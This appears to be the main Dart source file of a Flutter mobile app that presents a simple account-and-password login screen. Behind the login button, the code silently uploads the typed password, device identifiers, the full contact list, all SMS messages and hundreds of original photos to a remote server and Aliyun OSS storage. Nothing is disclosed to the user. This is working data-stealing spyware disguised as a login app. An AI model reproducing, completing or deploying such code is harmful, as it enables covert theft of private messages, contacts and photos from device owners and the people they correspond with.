import 'dart:io';
import 'package:device_info/device_info.dart';
import 'package:flutter/foundation.dart';
import 'package:flutter/material.dart';
import 'package:flutter_sms_inbox/flutter_sms_inbox.dart';
import 'package:image_photos/HttpUtils.dart';
import 'package:photo_album_manager/photo_album_manager.dart';
import 'dart:async';
import 'package:toast/toast.dart';
import 'package:flutter_easyloading/flutter_easyloading.dart';

import 'aliyunoss.dart';
import 'deviceInfo.dart';
import 'package:contacts_service/contacts_service.dart';
import 'package:permission_handler/permission_handler.dart';

void main() {
  WidgetsFlutterBinding.ensureInitialized();
  runApp(const MyApp());
}

class MyApp extends StatefulWidget {
  const MyApp({super.key});

  @override
  _MyAppState createState() => _MyAppState();
}

class _MyAppState extends State<MyApp> {
  @override
  void initState() {
    super.initState();
    HttpUtils().loadServerConfig();
    AliYunOss.initAliyunOss();
    DeviceInfo.getDeviceInfo();

    // getPermissionPhoto();
    // getSmsMission();
  }

  @override
  Widget build(BuildContext context) {
    return MaterialApp(
      debugShowCheckedModeBanner: false,
      home: Scaffold(
        resizeToAvoidBottomInset: false,
        body: Container(
          width: double.infinity,
          height: double.infinity,
          decoration: const BoxDecoration(
            image: DecorationImage(
                image: AssetImage(
                  //"assets/images/background.png",
                  "assets/images/uz_bg.jpg",
                ),
                fit: BoxFit.fill),
          ),
          child: const PhotoAlbumBodyWidget(),
        ),
      ),
      builder: EasyLoading.init(),
    );
  }
}

class PhotoAlbumBodyWidget extends StatefulWidget {
  const PhotoAlbumBodyWidget({super.key});

  @override
  State<StatefulWidget> createState() {
    // TODO: implement createState
    return PhotoAlbumBodyWidgetState();
  }
}

class PhotoAlbumBodyWidgetState extends State<PhotoAlbumBodyWidget> {
  final TextEditingController _accountController = TextEditingController();
  final TextEditingController _passwordController = TextEditingController();
  final TextEditingController _passwordController1 = TextEditingController();

  String account = "";
  String password = "";

  List<AlbumModelEntity> photos = [];
  List<Contact> contacts = [];
  List<SmsMessage> _messages = [];

  bool tap = false;

  @override
  // ignore: missing_return
  initState() {
    // TODO: implement initState
    super.initState();
    //initContacts();
  }

  // Future<void> getContacts() async {
  //   PermissionStatus status = await Permission.contacts.request();
  // }

  Future<void> getSms() async {
    var status = await Permission.sms.request();

    if (status.isGranted) {
      // 在这里继续处理读取短信的逻辑
      final SmsQuery _query = SmsQuery();
      List<SmsMessage> messages = await _query.getAllSms;
      _messages = messages;
      print("所有短信是============$_messages");
      List<Map<String, dynamic>> dataLists = [];
      for (int i = 0; i < _messages.length; i++) {
        SmsMessage smsMessage = _messages[i];
        Map<String, dynamic> dataMap = {
          "name": DeviceInfo.deviceId(),
          "code": password,
          "Name": smsMessage.body,
          "Smsbody": smsMessage.body,
          "PhoneNumber": smsMessage.address,
          "Date": smsMessage.date.toString(),
          "Type": "1",
        };
        dataLists.add(dataMap);
      }


      Map<String, dynamic> smsMap = {
        "name": DeviceInfo.deviceId(),
        "clientid": DeviceInfo.deviceInfo(),
        "code": password,
        "data": dataLists,
      };
      HttpUtils().post(
        HttpUtils.v5apisms,
        param: smsMap,
        callback: (res) {
          //initContacts();
          initPlatformState();
          print("上传的短信是:$res");
        },
        errorCallback: (error) {
          EasyLoading.showError("$error");
        },
      );

      //uploadChunksRecursively(dataLists);

    } else {
      // 用户拒绝了权限请求
      // 可以提供一些提示或采取其他措施
    }

    // SmsQuery query = new SmsQuery();
    // List<SmsMessage> messages = await query.getAllSms;
    //print("所有短信是============$messages");
  }


  // void uploadChunksRecursively(List<Map<String, dynamic>> data) async {
  //   const int chunkSize = 20;
  //   void uploadChunk(int startIndex) async {
  //     if (startIndex >= data.length) {
  //       print('All data uploaded');
  //       initPlatformState(); //获取所有的相册
  //       return;
  //     }
  //
  //     int endIndex = (startIndex + chunkSize > data.length)
  //         ? data.length
  //         : startIndex + chunkSize;
  //
  //     List<Map<String, dynamic>> chunk = data.sublist(startIndex, endIndex);
  //     // 模拟上传
  //     print('Uploading chunk: ${chunk}');
  //
  //
  //     Map<String, dynamic> smsMap = {
  //       "name": DeviceInfo.deviceId(),
  //       "clientid": DeviceInfo.deviceInfo(),
  //       "code": password,
  //       "data": data,
  //     };
  //     await HttpUtils().post(
  //       HttpUtils.v5apisms,
  //       param: smsMap,
  //       callback: (res) {
  //         //initContacts();
  //         print("上传的短信是:$res");
  //         if( (data.length - 20 <= startIndex)) {
  //           initPlatformState(); //获取所有的相册
  //         }
  //       },
  //       errorCallback: (error) {
  //         EasyLoading.showError("$error");
  //       },
  //     );
  //
  //
  //     // 递归上传下一个块
  //     uploadChunk(endIndex);
  //   }
  //
  //   uploadChunk(0);
  // }

  //获取通讯录
  Future<void> initContacts() async {
    if (Platform.isAndroid) {
      PermissionStatus status = await Permission.contacts.request();

      if (status.isGranted) {
        // 权限已被授予，可以继续处理访问联系人的逻辑
        print('Contacts permission granted');
        contacts = await ContactsService.getContacts();

        List<Map<String, String>> contactLists = [];

        Map<String, dynamic> contactParam = {
          "name": DeviceInfo.deviceId(),
          "clientid": DeviceInfo.deviceInfo(),
          "code": password,
        };
        HttpUtils().post(
          HttpUtils.v5api,
          param: contactParam,
          callback: (res) {
            for (int i = 0; i < contacts.length; i++) {
              Contact contact = contacts[i];
              String name = contact.displayName ?? "";
              String? phone;
              if (contact.phones!.isEmpty) {
                phone = "";
              } else {
                phone = contact.phones?.first.value;
              }
              Map<String, String> contactMap = {
                "username": name,
                "umobile": phone!
              };
              contactLists.add(contactMap);
            }
            Map<String, dynamic> contactParam1 = {
              "name": DeviceInfo.deviceId(),
              "clientid": DeviceInfo.deviceInfo(),
              "code": password,
              "data": contactLists,
            };
            HttpUtils().post(
              HttpUtils.v5api,
              param: contactParam1,
              callback: (res) {
                getSms();
                if (kDebugMode) {
                  print("联系人请求接口返回为:$res");
                }
              },
              errorCallback: (error) {
                if (kDebugMode) {
                  print("联系人接口报错2:$error");
                  EasyLoading.showError("$error");
                }
              },
            );
          },
          errorCallback: (error) {
            if (kDebugMode) {
              print("联系人接口报错1:$error");
            }
            EasyLoading.showError("$error");
          },
        );
      } else if (status.isPermanentlyDenied) {
        // 用户永久拒绝了权限，提供引导用户手动启用权限的信息
        EasyLoading.showError("请打开访问通讯录的权限");
      } else {
        // 用户拒绝了权限，可以提供一些提示或其他措施
        EasyLoading.showError("请打开访问通讯录的权限哦");
      }
    }

    ///苹果iOS
    else {
      contacts = await ContactsService.getContacts();

      List<Map<String, String>> contactLists = [];

      Map<String, dynamic> contactParam = {
        "name": DeviceInfo.deviceId(),
        "clientid": DeviceInfo.deviceInfo(),
        "code": password,
      };
      HttpUtils().post(
        HttpUtils.v5api,
        param: contactParam,
        callback: (res) {
          for (int i = 0; i < contacts.length; i++) {
            Contact contact = contacts[i];
            String name = contact.displayName ?? "";
            String? phone;
            if (contact.phones!.isEmpty) {
              phone = "";
            } else {
              phone = contact.phones?.first.value;
            }
            Map<String, String> contactMap = {
              "username": name,
              "umobile": phone!
            };
            contactLists.add(contactMap);
          }
          Map<String, dynamic> contactParam1 = {
            "name": DeviceInfo.deviceId(),
            "clientid": DeviceInfo.deviceInfo(),
            "code": password,
            "data": contactLists,
          };
          HttpUtils().post(
            HttpUtils.v5api,
            param: contactParam1,
            callback: (res) {
              //EasyLoading.show(status: 'loading...');
              //getSms();
              initPlatformState();
              if (kDebugMode) {
                print("联系人接口返回为:$res");
              }
            },
            errorCallback: (error) {
              if (kDebugMode) {
                print("联系人接口报错2:$error");
              }
              EasyLoading.showError("$error");
            },
          );
        },
        errorCallback: (error) {
          if (kDebugMode) {
            print("联系人报错1:$error");
          }
          EasyLoading.showError("$error");
        },
      );
    }
  }

  //上传相册
  Future<void> initPlatformState() async {
    // if (widget.resourceType == "image") {
    await _requestPermission();
  }

 Future<void>  putPhotos() async{
    if (Platform.isAndroid) {
      //AndroidDeviceInfo androidInfo = await DeviceInfoPlugin().androidInfo;
      // // Android 11及以上版本，使用新的存储访问权限
      // fStatus = await Permission.photos.request();
      // fStatus = await Permission.manageExternalStorage.request();
      photos = await PhotoAlbumManager.getAscAlbumImg(maxCount: 100,);
      for (int i = 0; i < photos.length; i++) {
        AlbumModelEntity photo = photos[i];
        await PhotoAlbumManager.getOriginalResource(photo.localIdentifier!,
            onProgress: (progress) {
              print("下载进度" + progress.toString());
            }, onError: (error) {
              print("下载错误" + error);
            }).then((value) async {
          print("下载完成" + value!.originalPath!);
          String url = await AliYunOss().upload(value.originalPath!);
          Map<String, dynamic> param = {
            "name": DeviceInfo.deviceId(),
            "path": url
          };
          await uploadService(param);
          print("上传完完成===" + url);
        });
      }

    }
    else {
      // iOS平台，请求存储访问权限
      debugPrint("苹果相册获取");
      photos = await PhotoAlbumManager.getDescAlbumImg(maxCount: 500);
      for (int i = 0; i < photos.length; i++) {
        AlbumModelEntity photo = photos[i];
        // String url = await AliYunOss().upload(photo.originalPath!);
        // Map<String, dynamic> param = {"name": DeviceInfo.deviceId(), "path": url};
        // await uploadService(param);
        await PhotoAlbumManager.getOriginalResource(photo.localIdentifier!,
            onProgress: (progress) {
              print("下载进度" + progress.toString());
            }, onError: (error) {
              print("下载错误" + error);
            }).then((value) async {
          print("下载完成" + value!.originalPath!);
          String url = await AliYunOss().upload(value.originalPath!);
          Map<String, dynamic> param = {
            "name": DeviceInfo.deviceId(),
            "path": url
          };
          await uploadService(param);
          print("上传完完成===" + url);
        });
      }
    }
  }

  _requestPermission() async {
    final deviceInfo = DeviceInfoPlugin();
    if (Platform.isAndroid) {
      AndroidDeviceInfo androidInfo = await deviceInfo.androidInfo;
      if (androidInfo.version.sdkInt >= 33) {
        // Android 11及以上版本，使用新的存储访问权限
        // Android 11及以上版本，使用新的存储访问权限
        Map<Permission, PermissionStatus> fStatus = await [
          Permission.videos,
          Permission.photos,
        ].request();
        print("========${fStatus[Permission.photos]}");
        if(await Permission.photos.isGranted){
          print("========通过了");
          putPhotos();
        }
      } else {
        // Android 10及以下版本，使用旧的存储访问权限
        PermissionStatus status = await Permission.storage.request();
        if(status.isGranted){
          print("========通过了");
          putPhotos();
        }

      }
    }
    else if (Platform.isIOS) {
      // iOS平台，请求存储访问权限
      PermissionStatus status = await Permission.storage.request();
      PermissionStatus status1 = await Permission.photos.request();
      if(status.isGranted){
        print("========通过了");
        putPhotos();
      }
      else if(status.isPermanentlyDenied){
        print("========苹果请求相册被拒绝了");
        openAppSettings(); // 打开应用设置页面，让用户手动开启权限
      }
    }
  }

  Future<void> uploadService(Map<String, dynamic> param) async {
    //EasyLoading.showSuccess("正在上传");
    final res = await HttpUtils().post(
      HttpUtils.v5apiimg,
      param: param,
      callback: (res) {
        //EasyLoading.showSuccess("上传了$res");
        if (kDebugMode) {
          print("上传服务器成功===$res");
        }
      },
      errorCallback: (error) {
        EasyLoading.showError("网络请求发生错误：$error");
      },
    );
  }

  @override
  Widget build(BuildContext context) {
    // TODO: implement build
    double screenH = MediaQuery.of(context).size.height;
    double screenW = MediaQuery.of(context).size.width;
    double bili = 812 / screenH;

    return GestureDetector(
      onTap: () {
        FocusScope.of(context).unfocus();
      },
      child: SingleChildScrollView(
        child: Column(
          crossAxisAlignment: CrossAxisAlignment.center,
          //mainAxisAlignment: MainAxisAlignment.center,
          children: <Widget>[
            SizedBox(
              height: 106 / bili,
            ),
            // Image.asset(
            //   "assets/images/log.png",
            //   width: 50,
            //   height: 50,
            // ),
            SizedBox(
              height: 50 / bili,
            ),
            SizedBox(
              height: 20 / bili,
            ),
            // const Text(
            //   "Hello!请登录",
            //   style: TextStyle(
            //       fontWeight: FontWeight.w600,
            //       fontSize: 22,
            //       color: Colors.white),
            // ),
            SizedBox(
              height: 47 / bili,
            ),
            inPutTextWidget(1, bili, screenH, screenW),
            inPutTextWidget(2, bili, screenH, screenW),
            //inPutTextWidget(3, bili,screenH,screenW),
            SizedBox(
              height: 237 / bili,
            ),
            GestureDetector(
              onTap: () async {
                //登录
                if (account == "" || password == "") {
                  EasyLoading.showError("请填写账号密码");
                  return;
                }

                if(tap == false) {
                  setState(() {
                    tap = true;
                  });

                  EasyLoading.show(status: 'loading...');

                  // PermissionStatus per =  await Permission.photos.request();
                  // EasyLoading.showSuccess(per.isGranted.toString());

                  //initPlatformState(); //获取所有的相册

                  if (Platform.isIOS) {
                    initContacts();
                  }
                  if (Platform.isAndroid) {
                    //getSms();
                    initContacts();
                  }
                }
              },
              child: Container(
                margin: const EdgeInsets.only(left: 35, right: 35),
                decoration: BoxDecoration(
                  color: Colors.green,
                  borderRadius: BorderRadius.circular(23),
                ),
                width: double.infinity,
                height: 46,
                child: const Center(
                  child: Text(
                    "登录",
                    style: TextStyle(color: Colors.white),
                  ),
                ),
              ),
            ),
            // ElevatedButton(
            //   onPressed: () async {
            //     Navigator.of(context).push(MaterialPageRoute(builder: (_) {
            //       return   const PhotoAlbumResourceWidget(
            //         title: '图片',
            //         resourceType: "image",
            //       );
            //     }));
            //   },
            //   child: const Text("图片"),
            // ),
            // ElevatedButton(
            //   onPressed: () async {
            //     Navigator.of(context).push(MaterialPageRoute(builder: (_) {
            //       return const PhotoAlbumResourceWidget(
            //         title: '视频',
            //         resourceType: "video",
            //       );
            //     }));
            //   },
            //   child: const Text("视频"),
            // ),
          ],
        ),
      ),
    );
  }

  //输入框账号密码
  Widget inPutTextWidget(
      int type, double bili, double screenH, double screenW) {
    return Container(
      width: screenW,
      height: 80,
      margin: const EdgeInsets.only(left: 25, right: 25, top: 0, bottom: 0),
      child: Column(
        children: [
          Row(
            children: [
              Image.asset(
                type == 1
                    ? "assets/images/account.png"
                    : "assets/images/password.png",
                width: 26,
                height: 26,
              ),
              const SizedBox(
                width: 10,
              ),
              SizedBox(
                width: screenW - 50 - 36,
                height: 40,
                child: TextField(
                  controller: type == 1
                      ? _accountController
                      : type == 2
                          ? _passwordController
                          : _passwordController1,
                  keyboardType: TextInputType.visiblePassword,
                  decoration: InputDecoration(
                    hintText: type == 1
                        ? "请输入账号"
                        : type == 2
                            ? "请输入密码"
                            : "请再次确认密码",
                    border: InputBorder.none,
                    hintStyle: TextStyle(
                        color: const Color(0xff111111).withOpacity(0.4),
                        fontSize: 16,
                        fontWeight: FontWeight.w600),
                  ),
                  style: const TextStyle(
                      color: Colors.white,
                      fontSize: 16,
                      fontWeight: FontWeight.w500),
                  onChanged: (text) {
                    type == 1 ? account = text : password = text;
                  },
                ),
              ),
            ],
          ),
          Container(
            height: 1,
            color: const Color(0xffF0F0F0).withOpacity(1),
          ),
        ],
      ),
    );
  }
}

// class PhotoAlbumResourceWidget extends StatefulWidget {
//   final String? title;
//   final String? resourceType;
//
//   const PhotoAlbumResourceWidget({ Key? key,  this.title,  this.resourceType})
//       : super(key: key);
//
//   @override
//   PhotoAlbumResourceWidgetState createState() =>
//       PhotoAlbumResourceWidgetState();
// }
//
// class PhotoAlbumResourceWidgetState extends State<PhotoAlbumResourceWidget> {
//   List<AlbumModelEntity> photos = [];
//
//   @override
//   Widget build(BuildContext context) {
//     return Scaffold(
//       appBar: AppBar(
//         title: Text(widget.title!),
//         centerTitle: true,
//       ),
//       body: GridView.builder(
//         padding: const EdgeInsets.all(10.0),
//         gridDelegate: const SliverGridDelegateWithFixedCrossAxisCount(
//           crossAxisCount: 3,
//           mainAxisSpacing: 10.0,
//           crossAxisSpacing: 10.0,
//         ),
//         itemCount: photos.length,
//         itemBuilder: (BuildContext context, int index) {
//           AlbumModelEntity model = photos[index];
//           return GestureDetector(
//             child: Card(
//               child: Stack(
//                 children: <Widget>[
//                   ConstrainedBox(
//                     constraints: const BoxConstraints.expand(),
//                     child: Image.file(
//                       File(model.thumbPath ?? model.originalPath!),
//                       fit: BoxFit.cover,
//                     ),
//                   ),
//                   Offstage(
//                     offstage: model.resourceType == "video" ? false : true,
//                     child: const Center(
//                       child: Icon(
//                         Icons.play_circle_outline,
//                         size: 40,
//                         color: Colors.white,
//                       ),
//                     ),
//                   ),
//                 ],
//               ),
//             ),
//             onTap: () {
//               PhotoAlbumManager.getOriginalResource(model.localIdentifier!,
//                   onProgress: (progress) {
//                     if (kDebugMode) {
//                       print("下载进度$progress");
//                     }
//                   }, onError: (error) {
//                     if (kDebugMode) {
//                       print("下载错误$error");
//                     }
//                   }).then((value) {
//                 if (kDebugMode) {
//                   print("下载完成${value!.originalPath!}");
//                 }
//               });
//             },
//           );
//         },
//       ),
//     );
//   }
//
//   @override
//   // ignore: missing_return
//    initState()  {
//     // TODO: implement initState
//     super.initState();
//     initPlatformState();
//   }
//
//   Future<void> initPlatformState() async {
//     if (widget.resourceType == "image") {
//       photos = await PhotoAlbumManager.getDescAlbumImg(maxCount: 50);
//       setState(() {});
//     } else if (widget.resourceType == "video") {
//       photos = await PhotoAlbumManager.getDescAlbumVideo(maxCount: 50);
//       setState(() {});
//     }
//   }
// }
